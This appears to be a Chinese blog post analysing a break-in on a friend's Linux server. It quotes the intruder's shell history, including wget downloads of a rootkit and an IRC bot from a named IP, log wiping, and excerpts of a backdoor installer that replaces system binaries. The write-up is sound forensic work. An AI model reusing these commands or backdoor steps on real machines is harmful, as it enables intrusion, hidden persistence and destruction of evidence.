2022-10-23 424
最近有个朋友让我去帮他看一下他的Linux服务器,说是Apache启动不了,有很多诡异的情况。后来证明绝不是Apache启动不了这么简单。
登上服务器之后随便看了下,最先引起我注意的是”ls”命令的输出:
lars@server1:~$ls ls:invalidoption--h Try`ls--help'formoreinformation.
为什么”ls”默认加了”-h”参数呢?我用”alias”命令看了一下,然后取消了这个别名之后”ls”就工作正常了。
lars@server1:~$aliasls aliasls='ls-sh--color=auto' lars@server1:~$unaliasls lars@server1:~$ls backup lars@server1:~$
虽然很奇怪,不过我的首要任务是先把apache启动起来,等过会再仔细研究这个问题。
lars@server1:~$sudo/etc/init.d/apache2start Password: *Startingapache2.0webserver... (2):apache2:couldnotopenerrorlogfile/var/log/apache2/error.log. Unabletoopenlogs ...fail!
纳尼?赶紧去”/var/log/”目录一看,果然”apache2/”文件夹不见了.而且这个目录下其他的文件夹,比如”mysql/”,”samba/”也都不见了.一定是哪里出错了.会不会是我朋友不小心删掉了呢,他跟我说绝对没有.然后我用root登录进去准备修复日志丢失的问题。
lars@server1:~$sudo-i Password: root@server1:~#ls ls:unrecognizedprefix:do ls:unparsablevalueforLS_COLORSenvironmentvariable total44 4.4.bashrc4.ssh 4..4.lesshst8.viminfo 8.bash_history4.profile4.vimrc
很不幸的发现,”ls”又出问题了.同样,用”alias”命令:
root@server1:~#aliasls aliasls='ls-sa--color=auto' root@server1:~#unaliasls root@server1:~#ls root@server1:~#
这个时候,我才意识到问题的严重性.”ls”奇怪的举动和”/var/log/”大量日志被删除让我怀疑服务器是否被入侵了.当我看到root目录下的”.bash_history”时,就已经可以确定被入侵了。
root@server1:~#cat-n.bash_history ... 340w 341cd/var 342wgethttp://83.19.148.250/~matys/pliki/shv5.tar.gz 343tar-zxfshv5.tar.gz 344rm-rfshv5.tar.gz 345mvshv5.x 346cd.x 347./setupzibi.joe.14954098 348passwd 349passwd 350psaux 351crontab-l 352cat/etc/issue 353cat/etc/passwd 354w 355who 356cd/usr/lib/libsh 357ls 358hide+ 359chmod+xhide 360hide+ 361./hide+ 362cd/var/.x 363mkdirpsotnic 364cdpsotnic 365wgethttp://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz 366tar-zxfpsotnic0.2.5.tar.gz 367rm-rfpsotnic0.2.5.tar.gz 368ls 369mvpsotnic-0.2.5-linux-static-ipv6synscan 370./synscan 371viconf 372viconf1 373mvsynscansmbd 374smbd-cconf 375ls 376psaux 377ls 378./smbd-cconf 379./smbd-cconf1 380./smbdconf 381./smbdconf1 382./smbd-aconfconf1 383rm-rfconf.dec 384rm-rfconf1.dec 385cd/usr/lib/libsh 386./hide+ 387exit ... 425sshftp@62.101.251.166 426w 427ls 428ls 429cd/var/.x 430ls 431cdpsotnic/ 432ls 433rm-rf/var/log/* 434exit 435ls 436cd/var/.x/psotnic/ 437ls 438viconf2 439./smbd-cconf2 440./smbdconf2 441./smbd-aconfconf1conf2 442rm-rfconf2.dec 443cd.. 444ls 445cd/usr/lib/libsh 446hide+ 447./hide+ 448exit 449psaux 450cd/var/.x 451ls 452ls 453cdpsotnic/ 454ls 455catpid.MastaH 456kill-92030 457./synscan-aconfconf1 458./smbd-aconfconf1 459cd/usr/lib/libsh 460./hide+
这个系统已经被入侵了.这实在是令人激动的一件事情,不过很显然,我的朋友不这么想.这个入侵者犯了一个很基本的错误,没有清除”.bash_history”文件.所以他/她可能在其他的地方也留下了一些蛛丝马迹.接下来就是详细的分析一下这次入侵。#p#
通过bash history我们得到了大量的信息.先来看一下”/var/.x”下面隐藏了什么和命令”setup zibi.joe.149 54098″的作用吧。
root@server1:/var/.x#filesetup setup:Bourne-Againshellscripttextexecutable root@server1:/var/.x#wc-lsetup 825setup root@server1:/var/.x#head-17setup #!/bin/bash # #shv5-internal-release #by:PinT[x]April/2003 # #greetzto: # #[*]SH-members:BeSo_M,grass^,toolman,nobody,niceboy,armando99 #C00L|0,GolDenLord,Spike,zion... #[*]Alba-Hack:2Cool,heka,TheMind,ex-THGmembers... #[*]SH-friends:mave,AlexTG,Cat|x,klex,JinkS... #[*]tC-members:eksol,termid,hex,keyhook,maher,tripodetc.. #[*]Andallotherswhodiservetobeherebutiforgot #[*]thematthemoment! # #PRIVATE!DONOTDISTRIBUTE*censored*EZ!
“setup”这个脚本是rootkit shv5的安装脚本.它安装了一个修改过的ssh后门–”/bin/ttyload”,然后把它加到了”/etc/inittab”,这样每次重启后就会自动启动.(相关部分的脚本如下:)
mv$SSHDIR/sshd/sbin/ttyload chmoda+xr/sbin/ttyload chmodo-w/sbin/ttyload touch-acmr/bin/ls/sbin/ttyload chattr+isa/sbin/ttyload kill-9`pidofttyload`>/dev/null2>&1 .... #INITTABSHUFFLING chattr-isa/etc/inittab cat/etc/inittab|grep-vttyload|grep-vgetty>/tmp/.init1 cat/etc/inittab|grepgetty>/tmp/.init2 echo"#Loadingstandardttys">>/tmp/.init1 echo"0:2345:once:/usr/sbin/ttyload">>/tmp/.init1
它也替换了一些linux的标准命令。
#Backdoorps/top/du/ls/netstat/etc.. cd$BASEDIR/bin BACKUP=/usr/lib/libsh/.backup mkdir$BACKUP ... #ls... chattr-isa/bin/ls cp/bin/ls$BACKUP mv-fls/bin/ls chattr+isa/bin/ls
这样子就可以解释为什么”ls”命令输出那么奇怪了。
“.backup”文件夹保存了被替换之前的命令程序。
root@server1:/var/.x#ls-l/usr/lib/libsh/.backup/ total552 -rwxr-xr-x1rootroot126276Dec2422:58find -rwxr-xr-x1rootroot59012Dec2422:58ifconfig -rwxr-xr-x1rootroot77832Dec2422:58ls -rwxr-xr-x1rootroot30388Dec2422:58md5sum -rwxr-xr-x1rootroot99456Dec2422:58netstat -rwxr-xr-x1rootroot65492Dec2422:58ps -rwxr-xr-x1rootroot14016Dec2422:58pstree -rwxr-xr-x1rootroot50180Dec2422:58top
看了一下时间戳,居然是在圣诞节。
很显然,原始的”ls”和后门安装的”ls”是不一样的.他们的md5对比如下:
root@server1:~#md5sum/usr/lib/libsh/.backup/ls/bin/ls eef7ca9dd6be1cc53bac84012f8d1675/usr/lib/libsh/.backup/ls 0a07cf554c1a74ad974416f60916b78d/bin/ls root@server1:~#file/bin/ls /bin/ls:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),forGNU/Linux2.0.0,dynamicallylinked (usessharedlibs),forGNU/Linux2.0.0,stripped root@server1:~#file/usr/lib/libsh/.backup/ls /usr/lib/libsh/.backup/ls:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),forGNU/Linux2.6.0,dynamicallylinked (usessharedlibs),forGNU/Linux2.6.0,stripped
这个rootkit(“sh5.tar.gz”)是从下面的地址下载的。
root@server1:~#dig+short-x83.19.148.250 4lo.bydg.pl.
这是一个波兰的ip,从这个ip上没有得到更多的信息.不过这个入侵者依然犯了几个严重的错误.
这是运行”setup”命令的截图:(在服务器上的沙盒里运行的)
所以”zibi.joe.149″是后门的密码,”54098″是端口号.这是一个来自ssh.com的就版本的sshd.测试截图如下:
安装完后门之后,下一个步骤就是装一个irc-bot,让服务器变成僵尸网络中的一员.”psotnic0.2.5.tar.gz”就是来达到这个目的的.入侵者解压这个包之后把 irc-bot重命名为”smbd”,来达到隐藏的目的。
然后,他创建了两个配置文件.文件中包含irc服务器和需要加入的频道.配置文件是加密过的,而且明文的配置文件被删掉了。
viconf viconf1 .... ./smbd-cconf ./smbd-cconf1 ./smbdconf ./smbdconf1 ./smbd-aconfconf1
让我们执行一下382这条命令,看看会发生什么。
root@server1:/var/.x/psotnic#./smbd-aconfconf1 PsotnicC++edition,version0.2.5-ipv6(Jul17200520:39:49) Copyright(C)2003-2005GrzegorzRusin [+]Adding:*/10****cd/var/.x/psotnic;./smbdconf>/dev/null2>&1 [+]Adding:*/10****cd/var/.x/psotnic;./smbdconf1>/dev/null2>&1 [+]Added2psotnicstocron
哇!它添加了cron定时任务.赶紧看一看:
root@server1:/var/.x/psotnic#crontab-l */10****cd/var/.x/psotnic;./smbdconf>/dev/null2>&1 */10****cd/var/.x/psotnic;./smbdconf1>/dev/null2>&1
#p#
接下来,我杀掉这两个恶意的smbd进程,禁用cron任务.在另一个shell中运行了tcpdump,然后手动启动了这两个irc-bot进程:
root@server1:~#cd/var/.x/psotnic;./smbdconf PsotnicC++edition,version0.2.5-ipv6(Jul17200520:39:49) Copyright(C)2003-2005GrzegorzRusin [*]ActingasLEAF [+]Configloaded [+]Goingintobackground[pid:5724] root@server1:/var/.x/psotnic#./smbdconf1 PsotnicC++edition,version0.2.5-ipv6(Jul17200520:39:49) Copyright(C)2003-2005GrzegorzRusin [*]ActingasLEAF [+]Configloaded [+]Goingintobackground[pid:5727] root@server1:/var/.x/psotnic#
用”ps”命令(后门替换过的)可以看到这两个进程.这也是为什么入侵者需要通过改名字来隐藏进程。
root@server1:/var/.x/psotnic#psaxuw|grepsmb root37990.00.485922156?S11:000:00/usr/sbin/smbd-D root38080.00.18592896?S11:000:00/usr/sbin/smbd-D root57240.00.11648772pts/2S12:470:00./smbdconf root57270.00.11640764pts/2S12:470:00./smbdconf1
最开始两个是真正的samba进程,后面两个是irc-bot,让我们用”strace”命令来看看它做了什么:
root@server1:~#strace-p5727 ... connect(3,{sa_family=AF_INET,sin_port=htons(9714),sin_addr=inet_addr("83.18.74.235")},16)=-1EINPROGRESS(Operationnowinprogress) ... connect(4,{sa_family=AF_INET,sin_port=htons(6667),sin_addr=inet_addr("195.159.0.92")},16)=-1EINPROGRESS(Operationnowinprogress)
可以看到它尝试连接ip 83.18.74.235的9714端口和195.159.0.92的6667端口:
root@server1:~#dig+short-x83.18.74.235 manhattan.na.pl. root@server1:~#dig+short-x195.159.0.92 ircnet.irc.powertech.no.
又是一个波兰的ip.另外一个ip,”ircnet.irc.powertech.no”是”irc.powertech.nof”的别名.是挪威一个著名的irc服务器。
tcpdump抓到了连接irc服务器的流量.正如下面的内容显示,它连接到了”irc.powertech.no”,加入了”#aik”频道。
:irc.powertech.no001578PAB9NB:WelcometotheInternetRelayNetwork578PAB9NB!~op@ti231210a080-3666.bb.online.no :irc.powertech.no002578PAB9NB:Yourhostisirc.powertech.no,runningversion2.11.1p1 :578PAB9NB!~op@ti231210a080-3666.bb.online.noJOIN:#aik :irc.powertech.no353578PAB9NB@#aik:578PAB9NBkkndraiderbrandyzjpiconfxerkozIpaLvvo :irc.powertech.no366578PAB9NB#aik:EndofNAMESlist. :irc.powertech.no352578PAB9NB#aik~opti231210a080-3666.bb.online.noirc.powertech.no578PAB9NBG:0op-GTW :irc.powertech.no352578PAB9NB#aik~kkndti231210a080-3666.bb.online.noirc.hitos.nokkndH:2kknd-GTW :irc.powertech.no352578PAB9NB#aik~raidermobitech-70.max-bc.spb.ru*.dotsrc.orgraiderG:4raider-GTW :irc.powertech.no352578PAB9NB#aik~brandyzmobitech-70.max-bc.spb.ru*.dotsrc.orgbrandyzG:4brandyz-GTW :irc.powertech.no352578PAB9NB#aik~jpip3124-ipad309sasajima.aichi.ocn.ne.jp*.jpjpiG:8jpi-GTW :irc.powertech.no352578PAB9NB#aik~confp3124-ipad309sasajima.aichi.ocn.ne.jp*.jpconfG:7conf-GTW :irc.powertech.no352578PAB9NB#aik~xerkozp3124-ipad309sasajima.aichi.ocn.ne.jp*.jpxerkozH:7xerkoz-GTW :irc.powertech.no352578PAB9NB#aiklmcampus19.panorama.sth.ac.at*.atIpaLH:5.LaPi.9@.IRCNet.. :irc.powertech.no352578PAB9NB#aik~vvoppp86-7.intelcom.sm*.tiscali.itvvoH:6vvo-GTW :irc.powertech.no315578PAB9NB#aik:EndofWHOlist. 这些仅仅是加入#aik频道,并开始监听该频道所有成员的一些原始网络流量.我决定自己进入这个频道看看.令我惊讶的是不需要任何密码我就进来了. 17:43-!-viper42[~viper42@trinity.gnist.org]hasjoined#aik 17:43[Users#aik] 17:43[578PAB9NL][conf][jpi][raider][vvo] 17:43[brandyz][IpaL][kknd][viper42][xerkoz] 17:43-!-Irssi:#aik:Totalof10nicks[0ops,0halfops,0voices,10normal] 17:43-!-Irssi:Jointo#aikwassyncedin1secs
我发现我朋友的服务器使用的昵称是”578PQB9NB”,还有一些其他的服务器也在这里.这些僵尸服务器应该是正在等待着我们的入侵者加入频道发布命令.或者他已经潜藏在这里了.我注意到,所有的昵称都有一个后缀”\*-GTW”,只有一个没有:
17:45[powertech]-!-IpaL[lm@campus19.panorama.sth.ac.at] 17:45[powertech]-!-ircname:LaPi@IRCNet 17:45[powertech]-!-channels:#relaks#ping@#seks#aik@#ogame.pl #pingwinaria#hattrick#trade#admin@#!sh 17:45[powertech]-!-server:*.at[\o\\o//o/]
这是唯一一个加入了多个频道的昵称.我猜我已经找到这个入侵者了,除非这是一个故意迷惑的诱饵.(恩,这个入侵者真的真么笨!!这么容易就找到了!?).我决定等几天看看有木有什么有趣的事情发生.这个域名解析到了:
$dig+shortcampus19.panorama.sth.ac.at 193.170.51.84
根据RIPE的数据,这个ip属于Vienna University计算机中心,我发了一封邮件询问关于这个域名的信息,他们几个小时后会我了:
From:AlexanderTalosviaRT To:larstra@ifi.uio.no Subject:Crackeratcampus19.panorama.sth.ac.at(193.170.51.84)[ACOnetCERT#38603] Date:Fri,18May200718:22:43+0200(CEST) Reply-To:cert@aco.net -----BEGINPGPSIGNEDMESSAGE----- Hash:SHA1 Hej! OnFriMay1814:45:032007,larstra@ifi.uio.nowrote: >Ihavebeentrackingdowncrackerwhichconnectedfrom >campus19.panorama.sth.ac.at(193.170.51.84).Theuser,which Ouch.panorama.sth.ac.atisadormitorywithabout4kroomsall behindaNATgateway-itwillbeveryhardtogetholdofthe miscreant. Thisincidentwill,inthelongrun,definitelyhelpmegetting ridoftheNATboxesinsetupslikethat,butrightnow,wewill havetomakedowithwhatwehave. >Pleaseinvestigatethehostinquestion.Perhapsisthisa >compromisedhostonyournetworkactingasajumpstationfor Sure,andeveninaNATedenvironment,thisisstillpossible. Btw,youdidagreatjobinanalysingthecompromisedmachine! I'llletyouknowwhenIhaveeitherfurtherquestionsorany interestingresults. Cheers, AlexanderTalos --- IT-Security,UniversitaetWien,ACOnetCERT T:+43-1-4277-14351M:+43-664-60277-14351 |
看起来我不够幸运。#p#
接下来我曾尝试连接irc频道里其他僵尸主机的 54098端口,可惜都失败了.看来其他的僵尸主机的后门可能使用的是别的端口。
连接到”83.18.74.235″的流量看起来很混乱.只好再次用strace命令:
root@server1:/var/.x/psotnic#strace-f./smbdconf1&>/root/dump.strace
跟预期的一样,有很多输出,其中一个是它尝试启动”BitchX”,这是一个irc客户端.但是失败了,因为BitchX没有安装:
[pid7537]write(2,"sh:",4)=4 [pid7537]write(2,"BitchX:notfound",17)=17 [pid7537]write(2,"n",1)=1 [pid7537]close(2)=0
下面的截图是tcpdump抓到流量的一部分:
这仅仅是两个假的smbd进程中的一个.另外一个也连到了两个irc服务器,一个是波兰这个,另外一个是”irc.hitos.no”,位于挪威的特罗姆斯郡。
入侵者除了这些,还运行了一个叫”hide”的脚本来清除日志:
root@server1:/usr/lib/libsh#./hide+ LinuxHiderv2.0bymave enhancedbyme! [+][ShkupiLogcleaner]Removing+fromthelogs......... [+]/var/log/messages...[done] [+]/var/run/utmp...[done] [+]/var/log/lastlog...[done] [+]/var/log/wtmp...[done] *missionaccomplished* p.h.e.e.rS.H.c.r.e.w
那么这个入侵者为什么还要把”/var/log/”目录全删除了呢,是不相信这个工具么?还是他特别害怕?
可以看到这个服务器被入侵了,安装了后门而且加入了僵尸网咯.但是入侵者犯了几个错误导致他可能被侦查到:
1、忘记清除”.bash_history”文件
2、“/var/log”目录下所有文件都删除了.导致某些程序无法启动.很容易被发现.
3、修改了root的密码.又是一个愚蠢的行为.永远不要修改root密码,这个必然会引起管理员的注意.
4、irc的频道没有密码保护.虽然即使有密码,我们也可以抓包分析出来.
5、入侵者平时就在僵尸网络的频道闲逛?如果是这样的话那他已经暴露了.
当然还有几个遗留的问题:
1、”ssh ftp@62.101.251.166″ 这个命令是干嘛的.是入侵者不小心敲错了么还是有其他的目的?
$dig+short-x62.101.251.166 cA6FB653E.dhcp.bluecom.no.
2、跟83.18.74.235(manhattan.na.pl)的通讯内容是什么?
3、最重要的问题是他一开始是如何或得下系统的权限的?这个服务器运行的是Ubuntu 6.06 LTS,打了最新的补丁。可能入侵的途径:
*猜测root密码,不幸的是这个密码是强密码*
*未知的exploit*
*某个用户在已经被攻陷的主机上登录这台服务器.入侵者嗅探到了密码.*
原文链接:https://77isp.com/post/8726.html
=========================================
https://77isp.com/ 为 “云服务器技术网” 唯一官方服务平台,请勿相信其他任何渠道。
数据库技术 2022-03-28
网站技术 2022-11-26
网站技术 2023-01-07
网站技术 2022-11-17
Windows相关 2022-02-23
网站技术 2023-01-14
Windows相关 2022-02-16
Windows相关 2022-02-16
Linux相关 2022-02-27
数据库技术 2022-02-20
抠敌 2023年10月23日
嚼餐 2023年10月23日
男忌 2023年10月22日
瓮仆 2023年10月22日
簿偌 2023年10月22日
扫码二维码
获取最新动态